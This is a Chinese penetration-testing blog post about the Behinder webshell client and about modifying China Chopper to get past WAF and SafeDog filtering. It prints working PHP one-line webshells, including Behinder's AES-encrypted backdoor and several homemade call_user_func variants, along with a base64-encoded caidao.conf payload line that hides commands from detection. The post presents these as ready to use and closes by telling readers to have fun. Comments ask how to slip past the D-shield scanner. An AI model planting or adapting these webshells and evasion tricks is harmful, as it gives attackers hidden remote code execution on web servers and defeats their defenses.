1. 首页
  2. 渗透测试

冰蝎动态二进制加密过waf并修改自己菜刀过狗

rebeyond大大出的神器冰蝎下载地址

作为新型加密网站管理客户端,冰蝎算是作为中国菜刀的替代者。我们来看下他的主要功能。

主要功能

1. 基本信息

客户端和服务端握手之后,会获取服务器的基本信息,Java、.NET版本包括环境变量、系统属性等,PHP版本会显示phpinfo的内容。

2. 文件管理

这个没什么好说的,无非是文件的增删改查,稍微不同的是上传的文件都是加密传输的,可以避免被拦截。

3. 命令执行

执行单条操作系统命令。

4. 虚拟终端

虚拟终端是模拟了一个真实的交互式Shell环境,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql。比如说:我们可以在这个Shell里去ssh连接服务器侧内网的其他主机,可以参考下面这个动图: 冰蝎动态二进制加密过waf并修改自己菜刀过狗

当然,如果你习惯powershell,也可以弹个powershell出来,如下图:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

5. Socks代理

虚拟终端功能其实就已经部分实现了内网穿透的能力,在Shell环境里做的所有事情都是在内网环境中的。不过为了方便使用其他工具,客户端还提供了基于一句话木马的Socks代理功能,一键开启,简单高效,可以参考如下动图:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

顺便说一下,代理过程中所有的流量都是在socks的基础上封装了一层AES。

6.反弹Shell

反弹Shell是突破防火墙的利器,也几乎是后渗透过程的必备步骤。提到后渗透,当然少不了metasploit,提到metasploit,当然少不了meterpreter,所以冰蝎客户端提供了两种反弹Shell的方式,常规Shell和Meterpreter,实现和metasploit的一键无缝对接。请参考如下动图:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

上图演示的是Meterpreter,当然常规的Shell也可以对接metasploit,就不演示了。

7.数据库管理

常规功能,实现了数据库的可视化管理,放张截图吧: 冰蝎动态二进制加密过waf并修改自己菜刀过狗

和常规管理工具不同的是,在Java和.NET环境中,当目标机器中没有对应数据库的驱动时,会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据,但是内网有另外一台Oracle,此时就会自动上传并加载Oracle对应的驱动。

8.自定义代码

可以在服务端执行任意的Java、PHP、C#代码,这也是个常规功能,值得一提的是我们输入的代码都是加密传输的,所以不用为了躲避waf而用各种编码变形,效果请参考如下动图:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

9.备忘录

渗透的时候总有很多零碎的信息需要记录,所以针对每个Shell提供了一个备忘录的功能,目前只支持纯文本,粘贴进去自动保存:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

接下来我们看下他的亮点出在哪里

看下他的php一句话

<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>

 

为了代码可读性,我们来扩充下:

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

 

介绍下流程

  • 首先get发起带密码的请求,服务端随机产生密钥存入session。

  • 获取session中的密钥,然后将客户端发送的源代码进行aes加密,通过|分割,然后通过php的可变函数执行。

具体一点,比如我们客户端有一段代码

assert|eval("phpinfo();")

 

进行aes128加密发送给服务端,服务端用explode函数分割字符,索引为0的是assert,索引为1的是eval("phpinfo();"),然后通过可变函数执行assert("eval(\"phpinfo();\")"),这样就很清晰明了了。

过waf的效果

常规一句话<?php @eval($_POST['caidao']);?>菜刀链接:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

新型一句话冰蝎链接:

冰蝎动态二进制加密过waf并修改自己菜刀过狗

对菜刀的修改

对这个一句话颇感兴趣,那么我们是不是可以把菜刀也改一改呢?

我本地搭建了环境,一句话内容为<?php @eval($_POST['caidao']);?>

先来抓包看下菜刀的请求包

冰蝎动态二进制加密过waf并修改自己菜刀过狗

在新版菜刀2016的caidao.conf中45行,%s是执行的命令

ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s

 

解密后

eval(base64_decode($_POST[id]));&id=%s

 

那么我们的一句话可以这样写

<?php
if ($_GET['pass']!=1){
}
else{
    $decrpt = file_get_contents("php://input");
    $arrs = explode("|", $decrpt)[1];
    $arrs = explode("|", base64_decode($arrs));
    call_user_func($arrs[0],$arrs[1]);
}
​
?>

 

你也可以这样来

<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
var_dump($arrs[0],$arrs[1]);
call_user_func($arrs[0],$arrs[1]);
?>

 

那么我们菜刀要改下

|assert|eval(base64_decode($_POST[id]));|&id=%s

 

在caidao.conf的45行就要改成

|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s

 

这样和冰蝎实现的效果就一样了,同样过狗,愉快玩耍吧!

涉及到的资料,表示感谢!

https://www.t00ls.net/thread-48079-1-1.html

https://xz.aliyun.com/t/2774

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

评论列表(2条)

  • 流光streamer 2018年11月22日 下午1:48

    soul大佬~?
    常规一句话被控端不做base64_decode($_POST[])操作
    菜刀客户端.conf配置
    如何才能改出最好的免杀过D盾

    • Y4er 回复 流光streamer 2018年11月24日 下午4:54

      服务端不做加密混淆操作怕是不好过D盾啊

联系我们

在线咨询:点击这里给我发消息

QR code